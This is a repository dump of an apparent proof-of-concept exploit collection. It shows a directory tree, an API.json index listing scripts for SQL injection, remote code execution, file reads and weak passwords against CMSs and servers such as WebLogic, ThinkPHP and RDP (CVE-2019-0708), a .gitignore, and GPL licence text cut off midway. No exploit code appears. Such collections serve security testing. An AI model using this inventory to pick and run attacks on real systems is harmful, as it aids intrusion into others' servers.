├── .gitignore
├── API.json
├── LICENSE
├── README.md
├── airbug.py
├── build.py
├── cms
├── beescms
│ └── beescms_sqli.py
├── dedecms
│ ├── dedecms_recommend_sqli.py
│ ├── dedecms_redirect.py
│ ├── dedecms_search_sqli.py
│ ├── dedecms_shortpath.py
│ ├── dedecms_trace.py
│ └── dedecms_version.py
├── demo.py
├── discuz
│ ├── discuz_focus_flashxss.py
│ └── discuz_plugin_ques_sqli.py
├── ecshop
│ └── xianzhi-2017-02-82239600
│ │ ├── 0.png
│ │ ├── 1.png
│ │ ├── 2.png
│ │ ├── README.md
│ │ └── ecshop_code_eval.py
├── emlog
│ ├── emlog_database_download.py
│ ├── emlog_flash_xss.py
│ └── emlog_realpath_leak.py
├── empirecms
│ ├── list_sqli.py
│ └── rate_sqli.py
├── metinfo
│ ├── metinfo5.3.17_sqli.py
│ ├── metinfo6.1.2_sqli.py
│ └── metinfo_version.py
├── pbootcms
│ └── pbootcms_rce.py
├── phpcms
│ ├── phpcms_2008_rce.py
│ ├── phpcms_authkey_disclosure.py
│ ├── phpcms_digg_add_sqli.py
│ ├── phpcms_flash_upload_sqli.py
│ ├── phpcms_product_code_exec.py
│ ├── phpcms_v961_fileread.py
│ └── phpcms_v96_sqli.py
├── siteserver
│ └── sqli_inject.py
├── thinkphp
│ ├── thinkphp5_rce.py
│ └── thinkphp_3.1_code_exec.py
├── typecho
│ └── typoecho_install_rce
│ │ ├── README.md
│ │ ├── assets
│ │ ├── 006tNbRwly1fkuc8v4qcoj312s080gna.jpg
│ │ ├── 006tNbRwly1fkucepcg7hj30xk098765.jpg
│ │ ├── 006tNbRwly1fkucxmf4tmj310y09u0uy.jpg
│ │ ├── 006tNbRwly1fkufkksc49j314m0aqq5k.jpg
│ │ └── 006tNbRwly1fkug5a04d3j31gu0kqgpg.jpg
│ │ └── poc.py
├── wordpress
│ ├── wordpress_admin_ajax_filedownload.py
│ ├── wordpress_display_widgets_backdoor.py
│ ├── wordpress_plugin_mailpress_rce.py
│ └── wordpress_restapi_sqli.py
└── zzcms
│ └── zzcms8.2.py
├── common
└── www_common
│ └── directory_browse.py
├── hardware
└── apple
│ └── CVE-2018-4407
│ ├── APPLE-RCE.md
│ └── CVE-2018-4407.py
└── system
├── axis
└── axis_weak_pass.py
├── confluence
└── CVE-2019-3396.py
├── coremail
└── coremail_read.py
├── ftp
└── ftp_weak_pass.py
├── grafana
└── gtafana_weak.py
├── hfs
└── hfs.py
├── iis
├── iis_ms15034_httpsys_rce.py
└── iis_webdav.py
├── php
├── expose_php.py
└── php_fastcgi_read.py
├── phpstudy
└── phpstudy_backdoor.py
├── rails
└── CVE-2018-3760
│ ├── 1.png
│ ├── 2.png
│ ├── CVE-2018-3760.py
│ └── README.md
├── smtp
└── smtp_starttls.py
├── tomcat
└── CVE-2017-12616
│ ├── README.md
│ ├── assets
│ ├── 640
│ ├── 640-20180910222859098
│ ├── 640-20180910222859393
│ ├── 640-20180910222859471
│ ├── 640-20180910222859526
│ ├── image-20180910223238584.png
│ ├── image-20180910223314668.png
│ ├── image-20180910223346708.png
│ ├── image-20180910223402490.png
│ └── image-20180910223434705.png
│ └── tomcat_put_exec.py
├── weblogic
├── cve-2019-2725.py
├── weblogic_interface_disclosure.py
├── weblogic_weak_pass.py
└── weblogic_xmldecoder_exec.py
├── windows
└── CVE-2019-0708.py
└── zabbix
└── zabbix_jsrpc_profileIdx2_sqli.py
/.gitignore:
--------------------------------------------------------------------------------
1 | # Byte-compiled / optimized / DLL files
2 | __pycache__/
3 | *.py[cod]
4 | *$py.class
5 |
6 | # C extensions
7 | *.so
8 |
9 | # Distribution / packaging
10 | .Python
11 | build/
12 | develop-eggs/
13 | dist/
14 | downloads/
15 | eggs/
16 | .eggs/
17 | lib/
18 | lib64/
19 | parts/
20 | sdist/
21 | var/
22 | wheels/
23 | *.egg-info/
24 | .installed.cfg
25 | *.egg
26 | MANIFEST
27 |
28 | # PyInstaller
29 | # Usually these files are written by a python script from a template
30 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
31 | *.manifest
32 | *.spec
33 |
34 | # Installer logs
35 | pip-log.txt
36 | pip-delete-this-directory.txt
37 |
38 | # Unit test / coverage reports
39 | htmlcov/
40 | .tox/
41 | .coverage
42 | .coverage.*
43 | .cache
44 | nosetests.xml
45 | coverage.xml
46 | *.cover
47 | .hypothesis/
48 | .pytest_cache/
49 |
50 | # Translations
51 | *.mo
52 | *.pot
53 |
54 | # Django stuff:
55 | *.log
56 | local_settings.py
57 | db.sqlite3
58 |
59 | # Flask stuff:
60 | instance/
61 | .webassets-cache
62 |
63 | # Scrapy stuff:
64 | .scrapy
65 |
66 | # Sphinx documentation
67 | docs/_build/
68 |
69 | # PyBuilder
70 | target/
71 |
72 | # Jupyter Notebook
73 | .ipynb_checkpoints
74 |
75 | # pyenv
76 | .python-version
77 |
78 | # celery beat schedule file
79 | celerybeat-schedule
80 |
81 | # SageMath parsed files
82 | *.sage.py
83 |
84 | # Environments
85 | .env
86 | .venv
87 | env/
88 | venv/
89 | ENV/
90 | env.bak/
91 | venv.bak/
92 |
93 | # Spyder project settings
94 | .spyderproject
95 | .spyproject
96 |
97 | # Rope project settings
98 | .ropeproject
99 |
100 | # mkdocs documentation
101 | /site
102 |
103 | # mypy
104 | .mypy_cache/
105 | .idea/
106 | .DS_Store
107 | .vscode
--------------------------------------------------------------------------------
/API.json:
--------------------------------------------------------------------------------
1 | [
2 | {
3 | "name": "typecho",
4 | "type": "cms",
5 | "filepath": "/cms/typecho/typoecho_install_rce/poc.py",
6 | "time": "2018-09-29 15:52:15"
7 | },
8 | {
9 | "name": "zzcms",
10 | "type": "cms",
11 | "filepath": "/cms/zzcms/zzcms8.2.py",
12 | "time": "2018-10-16 10:29:46"
13 | },
14 | {
15 | "name": "phpcms",
16 | "type": "cms",
17 | "filepath": "/cms/phpcms/phpcms_product_code_exec.py",
18 | "time": "2018-09-29 17:15:47"
19 | },
20 | {
21 | "name": "phpcms",
22 | "type": "cms",
23 | "filepath": "/cms/phpcms/phpcms_digg_add_sqli.py",
24 | "time": "2018-09-29 17:09:56"
25 | },
26 | {
27 | "name": "phpcms",
28 | "type": "cms",
29 | "filepath": "/cms/phpcms/phpcms_v96_sqli.py",
30 | "time": "2018-09-29 18:58:31"
31 | },
32 | {
33 | "name": "phpcms",
34 | "type": "cms",
35 | "filepath": "/cms/phpcms/phpcms_authkey_disclosure.py",
36 | "time": "2018-09-29 17:04:12"
37 | },
38 | {
39 | "name": "phpcms",
40 | "type": "cms",
41 | "filepath": "/cms/phpcms/phpcms_v961_fileread.py",
42 | "time": "2018-09-29 17:53:05"
43 | },
44 | {
45 | "name": "phpcms",
46 | "type": "cms",
47 | "filepath": "/cms/phpcms/phpcms_2008_rce.py",
48 | "time": "2018-11-28 15:24:41"
49 | },
50 | {
51 | "name": "phpcms",
52 | "type": "cms",
53 | "filepath": "/cms/phpcms/phpcms_flash_upload_sqli.py",
54 | "time": "2018-09-29 17:11:45"
55 | },
56 | {
57 | "name": "wordpress",
58 | "type": "cms",
59 | "filepath": "/cms/wordpress/wordpress_plugin_mailpress_rce.py",
60 | "time": "2018-09-29 23:04:05"
61 | },
62 | {
63 | "name": "wordpress",
64 | "type": "cms",
65 | "filepath": "/cms/wordpress/wordpress_display_widgets_backdoor.py",
66 | "time": "2018-09-29 23:14:32"
67 | },
68 | {
69 | "name": "wordpress",
70 | "type": "cms",
71 | "filepath": "/cms/wordpress/wordpress_restapi_sqli.py",
72 | "time": "2018-09-29 23:11:46"
73 | },
74 | {
75 | "name": "wordpress",
76 | "type": "cms",
77 | "filepath": "/cms/wordpress/wordpress_admin_ajax_filedownload.py",
78 | "time": "2018-09-29 22:57:14"
79 | },
80 | {
81 | "name": "metinfo",
82 | "type": "cms",
83 | "filepath": "/cms/metinfo/metinfo5.3.17_sqli.py",
84 | "time": "2018-10-15 00:04:58"
85 | },
86 | {
87 | "name": "metinfo",
88 | "type": "cms",
89 | "filepath": "/cms/metinfo/metinfo6.1.2_sqli.py",
90 | "time": "2018-10-15 10:49:10"
91 | },
92 | {
93 | "name": "metinfo",
94 | "type": "cms",
95 | "filepath": "/cms/metinfo/metinfo_version.py",
96 | "time": "2018-10-15 00:23:51"
97 | },
98 | {
99 | "name": "thinkphp",
100 | "type": "cms",
101 | "filepath": "/cms/thinkphp/thinkphp5_rce.py",
102 | "time": "2018-12-11 14:40:55"
103 | },
104 | {
105 | "name": "thinkphp",
106 | "type": "cms",
107 | "filepath": "/cms/thinkphp/thinkphp_3.1_code_exec.py",
108 | "time": "2018-12-11 13:39:00"
109 | },
110 | {
111 | "name": "pbootcms",
112 | "type": "cms",
113 | "filepath": "/cms/pbootcms/pbootcms_rce.py",
114 | "time": "2018-12-04 17:00:29"
115 | },
116 | {
117 | "name": "dedecms",
118 | "type": "cms",
119 | "filepath": "/cms/dedecms/dedecms_recommend_sqli.py",
120 | "time": "2018-09-29 16:35:44"
121 | },
122 | {
123 | "name": "dedecms",
124 | "type": "cms",
125 | "filepath": "/cms/dedecms/dedecms_redirect.py",
126 | "time": "2018-09-29 16:30:31"
127 | },
128 | {
129 | "name": "dedecms",
130 | "type": "cms",
131 | "filepath": "/cms/dedecms/dedecms_search_sqli.py",
132 | "time": "2018-09-29 16:37:45"
133 | },
134 | {
135 | "name": "dedecms",
136 | "type": "cms",
137 | "filepath": "/cms/dedecms/dedecms_shortpath.py",
138 | "time": "2018-11-18 10:14:11"
139 | },
140 | {
141 | "name": "dedecms",
142 | "type": "cms",
143 | "filepath": "/cms/dedecms/dedecms_trace.py",
144 | "time": "2018-09-29 16:32:55"
145 | },
146 | {
147 | "name": "dedecms",
148 | "type": "cms",
149 | "filepath": "/cms/dedecms/dedecms_version.py",
150 | "time": "2018-09-29 16:46:15"
151 | },
152 | {
153 | "name": "ecshop",
154 | "type": "cms",
155 | "filepath": "/cms/ecshop/xianzhi-2017-02-82239600/ecshop_code_eval.py",
156 | "time": "2018-09-29 15:49:46"
157 | },
158 | {
159 | "name": "emlog",
160 | "type": "cms",
161 | "filepath": "/cms/emlog/emlog_flash_xss.py",
162 | "time": "2018-10-01 15:07:25"
163 | },
164 | {
165 | "name": "emlog",
166 | "type": "cms",
167 | "filepath": "/cms/emlog/emlog_realpath_leak.py",
168 | "time": "2018-11-18 20:19:12"
169 | },
170 | {
171 | "name": "emlog",
172 | "type": "cms",
173 | "filepath": "/cms/emlog/emlog_database_download.py",
174 | "time": "2018-11-18 23:33:06"
175 | },
176 | {
177 | "name": "siteserver",
178 | "type": "cms",
179 | "filepath": "/cms/siteserver/sqli_inject.py",
180 | "time": "2018-10-26 20:54:49"
181 | },
182 | {
183 | "name": "beescms",
184 | "type": "cms",
185 | "filepath": "/cms/beescms/beescms_sqli.py",
186 | "time": "2018-10-14 22:58:37"
187 | },
188 | {
189 | "name": "discuz",
190 | "type": "cms",
191 | "filepath": "/cms/discuz/discuz_focus_flashxss.py",
192 | "time": "2018-09-29 16:52:23"
193 | },
194 | {
195 | "name": "discuz",
196 | "type": "cms",
197 | "filepath": "/cms/discuz/discuz_plugin_ques_sqli.py",
198 | "time": "2018-09-29 17:01:54"
199 | },
200 | {
201 | "name": "empirecms",
202 | "type": "cms",
203 | "filepath": "/cms/empirecms/rate_sqli.py",
204 | "time": "2018-10-02 19:38:43"
205 | },
206 | {
207 | "name": "empirecms",
208 | "type": "cms",
209 | "filepath": "/cms/empirecms/list_sqli.py",
210 | "time": "2018-10-02 19:31:28"
211 | },
212 | {
213 | "name": "apple",
214 | "type": "hardware",
215 | "filepath": "/hardware/apple/CVE-2018-4407/CVE-2018-4407.py",
216 | "time": "2018-11-01 20:53:52"
217 | },
218 | {
219 | "name": "ftp",
220 | "type": "system",
221 | "filepath": "/system/ftp/ftp_weak_pass.py",
222 | "time": "2019-02-20 15:52:34"
223 | },
224 | {
225 | "name": "weblogic",
226 | "type": "system",
227 | "filepath": "/system/weblogic/cve-2019-2725.py",
228 | "time": "2019-05-14 10:44:34"
229 | },
230 | {
231 | "name": "weblogic",
232 | "type": "system",
233 | "filepath": "/system/weblogic/weblogic_interface_disclosure.py",
234 | "time": "2018-10-03 11:55:44"
235 | },
236 | {
237 | "name": "weblogic",
238 | "type": "system",
239 | "filepath": "/system/weblogic/weblogic_weak_pass.py",
240 | "time": "2019-02-20 16:08:20"
241 | },
242 | {
243 | "name": "weblogic",
244 | "type": "system",
245 | "filepath": "/system/weblogic/weblogic_xmldecoder_exec.py",
246 | "time": "2018-10-03 11:59:47"
247 | },
248 | {
249 | "name": "tomcat",
250 | "type": "system",
251 | "filepath": "/system/tomcat/CVE-2017-12616/tomcat_put_exec.py",
252 | "time": "2018-09-10 22:25:43"
253 | },
254 | {
255 | "name": "grafana",
256 | "type": "system",
257 | "filepath": "/system/grafana/gtafana_weak.py",
258 | "time": "2019-02-20 16:01:39"
259 | },
260 | {
261 | "name": "phpstudy",
262 | "type": "system",
263 | "filepath": "/system/phpstudy/phpstudy_backdoor.py",
264 | "time": "2019-09-26 20:58:37"
265 | },
266 | {
267 | "name": "php",
268 | "type": "system",
269 | "filepath": "/system/php/expose_php.py",
270 | "time": "2018-10-03 00:00:49"
271 | },
272 | {
273 | "name": "php",
274 | "type": "system",
275 | "filepath": "/system/php/php_fastcgi_read.py",
276 | "time": "2018-10-03 00:06:05"
277 | },
278 | {
279 | "name": "smtp",
280 | "type": "system",
281 | "filepath": "/system/smtp/smtp_starttls.py",
282 | "time": "2018-10-03 11:36:40"
283 | },
284 | {
285 | "name": "hfs",
286 | "type": "system",
287 | "filepath": "/system/hfs/hfs.py",
288 | "time": "2018-10-02 23:39:15"
289 | },
290 | {
291 | "name": "axis",
292 | "type": "system",
293 | "filepath": "/system/axis/axis_weak_pass.py",
294 | "time": "2019-02-20 16:08:38"
295 | },
296 | {
297 | "name": "confluence",
298 | "type": "system",
299 | "filepath": "/system/confluence/CVE-2019-3396.py",
300 | "time": "2019-04-07 23:13:48"
301 | },
302 | {
303 | "name": "windows",
304 | "type": "system",
305 | "filepath": "/system/windows/CVE-2019-0708.py",
306 | "time": "2019-06-16 14:42:23"
307 | },
308 | {
309 | "name": "zabbix",
310 | "type": "system",
311 | "filepath": "/system/zabbix/zabbix_jsrpc_profileIdx2_sqli.py",
312 | "time": "2019-06-16 14:43:10"
313 | },
314 | {
315 | "name": "iis",
316 | "type": "system",
317 | "filepath": "/system/iis/iis_webdav.py",
318 | "time": "2018-10-02 23:53:29"
319 | },
320 | {
321 | "name": "iis",
322 | "type": "system",
323 | "filepath": "/system/iis/iis_ms15034_httpsys_rce.py",
324 | "time": "2018-10-02 23:42:50"
325 | },
326 | {
327 | "name": "coremail",
328 | "type": "system",
329 | "filepath": "/system/coremail/coremail_read.py",
330 | "time": "2019-06-16 14:47:07"
331 | },
332 | {
333 | "name": "rails",
334 | "type": "system",
335 | "filepath": "/system/rails/CVE-2018-3760/CVE-2018-3760.py",
336 | "time": "2018-09-11 14:51:02"
337 | },
338 | {
339 | "name": "www_common",
340 | "type": "common",
341 | "filepath": "/common/www_common/directory_browse.py",
342 | "time": "2019-02-20 15:48:03"
343 | }
344 | ]
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU General Public License is a free, copyleft license for
11 | software and other kinds of works.
12 |
13 | The licenses for most software and other practical works are designed
14 | to take away your freedom to share and change the works. By contrast,
15 | the GNU General Public License is intended to guarantee your freedom to
16 | share and change all versions of a program--to make sure it remains free
17 | software for all its users. We, the Free Software Foundation, use the
18 | GNU General Public License for most of our software; it applies also to
19 | any other work released this way by its authors. You can apply it to
20 | your programs, too.
21 |
22 | When we speak of free software, we are referring to freedom, not
23 | price. Our General Public Licenses are designed to make sure that you
24 | have the freedom to distribute copies of free software (and charge for
25 | them if you wish), that you receive source code or can get it if you
26 | want it, that you can change the software or use pieces of it in new
27 | free programs, and that you know you can do these things.
28 |
29 | To protect your rights, we need to prevent others from denying you
30 | these rights or asking you to surrender the rights. Therefore, you have
31 | certain responsibilities if you distribute copies of the software, or if
32 | you modify it: responsibilities to respect the freedom of others.
33 |
34 | For example, if you distribute copies of such a program, whether
35 | gratis or for a fee, you must pass on to the recipients the same
36 | freedoms that you received. You must make sure that they, too, receive
37 | or can get the source code. And you must show them these terms so they
38 | know their rights.
39 |
40 | Developers that use the GNU GPL protect your rights with two steps:
41 | (1) assert copyright on the software, and (2) offer you this License
42 | giving you legal permission to copy, distribute and/or modify it.
43 |
44 | For the developers' and authors' protection, the GPL clearly explains
45 | that there is no warranty for this free software. For both users' and
46 | authors' sake, the GPL requires that modified versions be marked as
47 | changed, so that their problems will not be attributed erroneously to
48 | authors of previous versions.
49 |
50 | Some devices are designed to deny users access to install or run
51 | modified versions of the software inside them, although the manufacturer
52 | can do so. This is fundamentally incompatible with the aim of
53 | protecting users' freedom to change the software. The systematic
54 | pattern of such abuse occurs in the area of products for individuals to
55 | use, which is precisely where it is most unacceptable. Therefore, we
56 | have designed this version of the GPL to prohibit the practice for those
57 | products. If such problems arise substantially in other domains, we
58 | stand ready to extend this provision to those domains in future versions
59 | of the GPL, as needed to protect the freedom of users.
60 |
61 | Finally, every program is threatened constantly by software patents.
62 | States should not allow patents to restrict development and use of
63 | software on general-purpose computers, but in those that do, we wish to
64 | avoid the special danger that patents applied to a free program could
65 | make it effectively proprietary. To prevent this, the GPL assures that
66 | patents cannot be used to render the program non-free.
67 |
68 | The precise terms and conditions for copying, distribution and
69 | modification follow.
70 |
71 | TERMS AND CONDITIONS
72 |
73 | 0. Definitions.
74 |
75 | "This License" refers to version 3 of the GNU General Public License.
76 |
77 | "Copyright" also means copyright-like laws that apply to other kinds of
78 | works, such as semiconductor masks.
79 |
80 | "The Program" refers to any copyrightable work licensed under this
81 | License. Each licensee is addressed as "you". "Licensees" and
82 | "recipients" may be individuals or organizations.
83 |
84 | To "modify" a work means to copy from or adapt all or part of the work
85 | in a fashion requiring copyright permission, other than the making of an
86 | exact copy. The resulting work is called a "modified version" of the
87 | earlier work or a work "based on" the earlier work.
88 |
89 | A "covered work" means either the unmodified Program or a work based
90 | on the Program.
91 |
92 | To "propagate" a work means to do anything with it that, without
93 | permission, would make you directly or secondarily liable for
94 | infringement under applicable copyright law, except executing it on a
95 | computer or modifying a private copy. Propagation includes copying,
96 | distribution (with or without modification), making available to the
97 | public, and in some countries other activities as well.
98 |
99 | To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies. Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 |
103 | An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License. If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 |
112 | 1. Source Code.
113 |
114 | The "source code" for a work means the preferred form of the work
115 | for making modifications to it. "Object code" means any non-source
116 | form of a work.
117 |
118 | A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 |
123 | The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form. A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 |
134 | The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities. However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work. For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 |
147 | The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 |
151 | The Corresponding Source for a work in source code form is that
152 | same work.
153 |
154 | 2. Basic Permissions.
155 |
156 | All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met. This License explicitly affirms your unlimited
159 | permission to run the unmodified Program. The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work. This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 |
164 | You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force. You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright. Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 |
175 | Conveying under any other circumstances is permitted solely under
176 | the conditions stated below. Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 |
179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 |
181 | No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 |
187 | When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 |
195 | 4. Conveying Verbatim Copies.
196 |
197 | You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 |
205 | You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 |
208 | 5. Conveying Modified Source Versions.
209 |
210 | You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 |
214 | a) The work must carry prominent notices stating that you modified
215 | it, and giving a relevant date.
216 |
217 | b) The work must carry prominent notices stating that it is
218 | released under this License and any conditions added under section
219 | 7. This requirement modifies the requirement in section 4 to
220 | "keep intact all notices".
221 |
222 | c) You must license the entire work, as a whole, under this
223 | License to anyone who comes into possession of a copy. This
224 | License will therefore apply, along with any applicable section 7
225 | additional terms, to the whole of the work, and all its parts,
226 | regardless of how they are packaged. This License gives no
227 | permission to license the work in any other way, but it does not
228 | invalidate such permission if you have separately received it.
229 |
230 | d) If the work has interactive user interfaces, each must display
231 | Appropriate Legal Notices; however, if the Program has interactive
232 | interfaces that do not display Appropriate Legal Notices, your
233 | work need not make them do so.
234 |
235 | A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit. Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 |
245 | 6. Conveying Non-Source Forms.
246 |
247 | You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 |
252 | a) Convey the object code in, or embodied in, a physical product
253 | (including a physical distribution medium), accompanied by the
254 | Corresponding Source fixed on a durable physical medium
255 | customarily used for software interchange.
256 |
257 | b) Convey the object code in, or embodied in, a physical product
258 | (including a physical distribution medium), accompanied by a
259 | written offer, valid for at least three years and valid for as
260 | long as you offer spare parts or customer support for that product
261 | model, to give anyone who possesses the object code either (1) a
262 | copy of the Corresponding Source for all the software in the
263 | product that is covered by this License, on a durable physical
264 | medium customarily used for software interchange, for a price no
265 | more than your reasonable cost of physically performing this
266 | conveying of source, or (2) access to copy the
267 | Corresponding Source from a network server at no charge.
268 |
269 | c) Convey individual copies of the object code with a copy of the
270 | written offer to provide the Corresponding Source. This
271 | alternative is allowed only occasionally and noncommercially, and
272 | only if you received the object code with such an offer, in accord
273 | with subsection 6b.
274 |
275 | d) Convey the object code by offering access from a designated
276 | place (gratis or for a charge), and offer equivalent access to the
277 | Corresponding Source in the same way through the same place at no
278 | further charge. You need not require recipients to copy the
279 | Corresponding Source along with the object code. If the place to
280 | copy the object code is a network server, the Corresponding Source
281 | may be on a different server (operated by you or a third party)
282 | that supports equivalent copying facilities, provided you maintain
283 | clear directions next to the object code saying where to find the
284 | Corresponding Source. Regardless of what server hosts the
285 | Corresponding Source, you remain obligated to ensure that it is
286 | available for as long as needed to satisfy these requirements.
287 |
288 | e) Convey the object code using peer-to-peer transmission, provided
289 | you inform other peers where the object code and Corresponding
290 | Source of the work are being offered to the general public at no
291 | charge under subsection 6d.
292 |
293 | A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 |
297 | A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling. In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage. For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product. A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 |
310 | "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source. The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 |
318 | If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information. But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
327 | been installed in ROM).
328 |
329 | The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed. Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 |
337 | Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 |
343 | 7. Additional Terms.
344 |
345 | "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law. If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 |
354 | When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it. (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.) You may place
358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 |
361 | Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 |
365 | a) Disclaiming warranty or limiting liability differently from the
366 | terms of sections 15 and 16 of this License; or
367 |
368 | b) Requiring preservation of specified reasonable legal notices or
369 | author attributions in that material or in the Appropriate Legal
370 | Notices displayed by works containing it; or
371 |
372 | c) Prohibiting misrepresentation of the origin of that material, or
373 | requiring that modified versions of such material be marked in
374 | reasonable ways as different from the original version; or
375 |
376 | d) Limiting the use for publicity purposes of names of licensors or
377 | authors of the material; or
378 |
379 | e) Declining to grant rights under trademark law for use of some
380 | trade names, trademarks, or service marks; or
381 |
382 | f) Requiring indemnification of licensors and authors of that
383 | material by anyone who conveys the material (or modified versions of
384 | it) with contractual assumptions of liability to the recipient, for
385 | any liability that these contractual assumptions directly impose on
386 | those licensors and authors.
387 |
388 | All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10. If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term. If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 |
398 | If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 |
403 | Additional terms, permissive or non-permissive, may be stated in the
404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 |
407 | 8. Termination.
408 |
409 | You may not propagate or modify a covered work except as expressly
